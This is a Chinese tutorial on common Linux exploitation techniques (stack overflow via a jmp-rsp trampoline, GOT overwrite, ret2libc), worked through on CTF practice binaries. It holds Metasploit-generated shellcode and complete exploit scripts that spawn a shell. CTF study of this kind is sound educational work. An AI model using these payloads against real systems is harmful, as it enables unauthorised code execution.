linux常見(jiàn)漏洞利用技術(shù)
當(dāng)系統(tǒng)打開(kāi)ASLR(基本都打開(kāi)了)時(shí),使用硬編碼地址的話(huà),就無(wú)法成功利用漏洞。在這種情況下就可以使用這種技術(shù)。程序必須關(guān)閉NX
當(dāng)函數(shù)執(zhí)行完,彈出了返回地址,rsp往往指向(返回地址+8),我們將shellcode放在此處就可以讓程序執(zhí)行,注意跳板不一定是rsp
在這兒用的程序是來(lái)自重慶郵電大學(xué)舉辦的cctf2015中pwn的第一題,感謝tracy_子鵬學(xué)長(zhǎng)(程序見(jiàn)附件),運(yùn)行環(huán)境64位linux
程序很簡(jiǎn)單,就是一個(gè)簡(jiǎn)單的接受輸入
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rdx@1
char v5; // [sp+0h] [bp-1020h]@1
char v6; // [sp+1000h] [bp-20h]@1
int v7; // [sp+101Ch] [bp-4h]@1
setbuf(stdin, 0LL, envp);
setbuf(stdout, 0LL, v3);
puts(4938E4LL);
v7 = read(0LL, &v5, 4096LL);
return memcpy(&v6, &v5, v7);
}
我們輸入的數(shù)據(jù)最終會(huì)復(fù)制到[bp-20h],而且沒(méi)有長(zhǎng)度限制,肯定就是有棧溢出漏洞
gdb pwn1
checksec
可以看到程序沒(méi)有沒(méi)有打開(kāi)任何保護(hù)措施,現(xiàn)在唯一需要解決的就是系統(tǒng)自帶的ASLR,(注意,使用gdb調(diào)試時(shí),每次看到的棧地址可能是不變的,這并不代表系統(tǒng)沒(méi)有打開(kāi)ASLR,gdb調(diào)試時(shí)會(huì)自動(dòng)關(guān)閉ASLR)
前面看到了我們輸入的數(shù)據(jù)最終會(huì)復(fù)制到[bp-20h],我們先嘗試輸入40個(gè)數(shù)據(jù),用python生成40個(gè)數(shù)據(jù)
gdb pwn1
r //運(yùn)行程序
復(fù)制生成的輸入進(jìn)去
看到棧上沒(méi)有成功覆蓋發(fā)揮地址
再次使用八十字節(jié)
可以看出從第四十個(gè)字節(jié)開(kāi)始的八個(gè)字節(jié)就會(huì)覆蓋返回地址
首先我們需要一個(gè)shellcode,這可以通過(guò)msf生成 生成命令如下
show payload
use linux/x64/exec
set cmd /bin/sh
generate -t py -b “/x00″
即可得到shellcode
# linux/x64/exec – 87 bytes
# http://www.metasploit.com
# Encoder: x64/xor
# VERBOSE=false, PrependFork=false, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=false, CMD=/bin/sh
buf = “”
buf += “\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05″
buf += “\xef\xff\xff\xff\x48\xbb\xab\xb5\xd9\xba\x45\x0a\xfd”
buf += “\x44\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4″
buf += “\xc1\x8e\x81\x23\x0d\xb1\xd2\x26\xc2\xdb\xf6\xc9\x2d”
buf += “\x0a\xae\x0c\x22\x52\xb1\x97\x26\x0a\xfd\x0c\x22\x53″
buf += “\x8b\x52\x4d\x0a\xfd\x44\x84\xd7\xb0\xd4\x6a\x79\x95″
buf += “\x44\xfd\xe2\x91\x33\xa3\x05\xf8\x44″
然后我們還需要一個(gè)跳板作為返回地址 peda就有這種功能
jmpcall rsp
我們就采用第一個(gè)地址, 注意64位系統(tǒng),和little endian
然后我們使用zio寫(xiě)exp
from zio import *
io = zio(’./pwn1’)
# io = zio((’127.0.0.1′, 1234))
io.read_until(’overflow!’)
pad = ‘a’ * 40
# 43 68 7d : call rsp
jmpAddr = ‘\x7d\x68\x43\x00\x00\x00\x00\x00′
shellcode = “”
shellcode += “\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05″
shellcode += “\xef\xff\xff\xff\x48\xbb\xab\xb5\xd9\xba\x45\x0a\xfd”
shellcode += “\x44\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4″
shellcode += “\xc1\x8e\x81\x23\x0d\xb1\xd2\x26\xc2\xdb\xf6\xc9\x2d”
shellcode += “\x0a\xae\x0c\x22\x52\xb1\x97\x26\x0a\xfd\x0c\x22\x53″
shellcode += “\x8b\x52\x4d\x0a\xfd\x44\x84\xd7\xb0\xd4\x6a\x79\x95″
shellcode += “\x44\xfd\xe2\x91\x33\xa3\x05\xf8\x44″
io.write(pad + jmpAddr + shellcode)
io.interact()
python pwn1.py運(yùn)行即可看到
已拿到shell
剛才我們是通過(guò)棧溢出漏洞攻擊函數(shù)的返回地址,但是現(xiàn)在對(duì)于棧溢出,已經(jīng)有很多保護(hù),例如canary(與windows下的GS技術(shù)類(lèi)似)。同時(shí)現(xiàn)在更常見(jiàn)的是指針覆蓋漏洞,在這種情況下我們擁有一次修改任意內(nèi)存的機(jī)會(huì),在這時(shí)我們采用的往往就是GOT覆寫(xiě)技術(shù)。
GOT是全局偏移表,類(lèi)似于windows中PE結(jié)構(gòu)的IAT,只不過(guò)windows中IAT中的函數(shù)地址是寫(xiě)保護(hù)的,沒(méi)辦法利用,但是GOT是可 寫(xiě)的,我們可以將其中的函數(shù)地址覆蓋為我們的shellcode地址,在程序后面調(diào)用這個(gè)函數(shù)時(shí)就會(huì)調(diào)用我們的shellcode了
在這兒我用的實(shí)驗(yàn)程序來(lái)自panable.kr中的passcode,比較簡(jiǎn)單,源碼如下
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf(”enter passcode1 : “);
scanf(”%d”, passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf(”enter passcode2 : “);
scanf(”%d”, passcode2);
printf(”checking…\n”);
if(passcode1==338150 && passcode2==13371337){
printf(”Login OK!\n”);
system(”/bin/cat flag”);
}
else{
printf(”Login Failed!\n”);
exit(0);
}
}
void welcome(){
char name[100];
printf(”enter you name : “);
scanf(”%100s”, name);
printf(”Welcome %s!\n”, name);
}
int main(){
printf(”Toddler’s Secure Login System 1.0 beta.\n”);
welcome();
login();
// something after login…
printf(”Now I can safely trust you that you have credential :)\n”);
return 0;
}
編譯后的程序見(jiàn)附件,32位 linux
感覺(jué)銳銳_z的指點(diǎn)
1 分析程序可知,scanf時(shí),沒(méi)有用取地址符,會(huì)使用棧上的數(shù)據(jù)作為指針存放輸入的數(shù)據(jù),而我們第一次輸入的數(shù)據(jù)就是在棧上,簡(jiǎn)單調(diào)試可知,在welcome()函數(shù)中的name的最后4字節(jié)會(huì)在login()函數(shù)中被用作地址指針
2 這樣,我們就獲得了修改任意地址數(shù)據(jù)的一次機(jī)會(huì)
3 分析程序可知如果我們用后面調(diào)用system()的地址覆蓋了printf()在GOT中的指針,那么在第二次login()中第二次調(diào)用printf()時(shí)就會(huì)直接去調(diào)用system()
4 現(xiàn)在我們需要知道兩個(gè)東西,一是GOT中printf()的地址,二是程序中調(diào)用system()的地址
objdump -R passcode
即可獲得printf()在的地址0804a000這是攻擊目標(biāo),
然后打開(kāi)gdb,運(yùn)行到調(diào)用system()的地方,為什么我們可以直接使用這個(gè)地址呢,因?yàn)閘inux下面的程序默認(rèn)沒(méi)有隨機(jī)化code段,
要寫(xiě)入的值即為 080485e3
5 最后得到
python -c “print(’a’*96+’\x00\xa0\x04\x08’+’\n’+’134514147\n’)” | ./passcode
134514147即為080485e3
成功改變了程序流程,讀出flag文件的內(nèi)容,注意這里需要你新建一個(gè)名叫flag的文件
當(dāng)系統(tǒng)打開(kāi)DEP時(shí),我們不能自己直接在棧上放shellcode,就使用幾乎每個(gè)linux系統(tǒng)都會(huì)自帶的libc中的代碼。
一種常見(jiàn)的利用方式是用libc中的system()的地址覆蓋返回地址,同時(shí)在棧上布置好的參數(shù),程序返回時(shí)就會(huì)產(chǎn)生一個(gè)shell
在這兒用的程序是強(qiáng)網(wǎng)杯的urldecoder(程序見(jiàn)附件),再次感謝tracy_子鵬學(xué)長(zhǎng)指點(diǎn)
這道題同時(shí)開(kāi)了ASLR和DEP.,運(yùn)行環(huán)境為32位linux
分析程序后發(fā)現(xiàn),前面讀入數(shù)據(jù)時(shí),只有遇到換行和EOF才會(huì)結(jié)束,但是后面檢查字符串長(zhǎng)度是用的strlen,于是可以通過(guò)在字符串中加入\x00來(lái)繞過(guò)長(zhǎng)度檢查
繼續(xù)分析程序流程,發(fā)現(xiàn),當(dāng)輸入為%1\x00時(shí)就可以成功覆蓋返回地址
接下來(lái)就考慮利用漏洞的方法
觀察到溢出后,程序會(huì)多輸出一些棧上的數(shù)據(jù)出來(lái),想到可以利用輸出出來(lái)的一些數(shù)據(jù)定位libc加載的基址,然后將返回地址覆蓋為前面讀入數(shù)據(jù)的代碼地址,再讀一次數(shù)據(jù),再溢出一次,這一次執(zhí)行到返回時(shí),就執(zhí)行l(wèi)ibc中的system函數(shù)
題目提供了libc,可以計(jì)算其中各函數(shù)的偏移,找到libc中system函數(shù)和/bin/sh字符串的地址,同時(shí)在棧上布置好參數(shù),即可成功利用
下面附上exp及解釋
from pwn import *
from zio import *
context(arch = ‘i386′, os = ‘linux’)
#注意此處ELF()的用處是后面計(jì)算偏移,你運(yùn)行程序時(shí)還是用的當(dāng)前系統(tǒng)的libc
#libc = ELF(’./libc.so.6.i386’)
libc = ELF(’/lib/i386-linux-gnu/i686/cmov/libc.so.6’)
#p = remote(’119.254.101.197′, 10001)
p = process(’./urldecoder’)
#第一次輸入,獲取libc中的地址信息
ret_addr = ‘\x90\x85\x04\x08′
payload = “http://baidu.com//%1″ + “\x00″ + “a”*137 + ret_addr
p.recvuntil(”URL:”)
p.send(payload + ‘\n’)
data = p.recvuntil(”URL:”)
base_addr = data[196:200]
printf_addr = l32(base_addr) – 117474
offset = libc.symbols[‘printf’] – libc.symbols[‘system’]
system_addr = printf_addr – offset
binsh_offset = next(libc.search(’/bin/sh’)) – libc.symbols[‘printf’]
binsh_addr = binsh_offset + printf_addr
#第二次輸入
ret_addr = ‘\x12\x12\x12\x12′
payload = “http://baidu.com//%1″ + “\x00″ + “a”*137 + l32(system_addr) + ret_addr + l32(binsh_addr)
p.send(payload + ‘\n’)
p.interactive()
run
python url.py
成功利用
從中也可以看到,對(duì)于同時(shí)開(kāi)了ASLR和DEP的程序,利用的難度確實(shí)高了不少
本文所涉及的工具
【ida】反匯編神器,下載地址down.52pojie.cn
【gdb】動(dòng)態(tài)調(diào)試工具,ubuntu自帶,但是自帶高版本無(wú)法裝peda插件。google 搜索downgrade gdb,重新安裝低版本gdb即可
【pwntools和zio】?jī)烧呔怯胮ython開(kāi)發(fā)的exp編寫(xiě)工具,同時(shí)方便了遠(yuǎn)程exp和本地exp的轉(zhuǎn)換 sudo pip install pwntool / sudo pip install zio即可安裝
【peda】gdb的一個(gè)插件,github上可以下載,增加了很多方便的功能
附件下載:http://drops.wooyun.org/wp-content/uploads/2015/06/%E7%A8%8B%E5%BA%8F.zip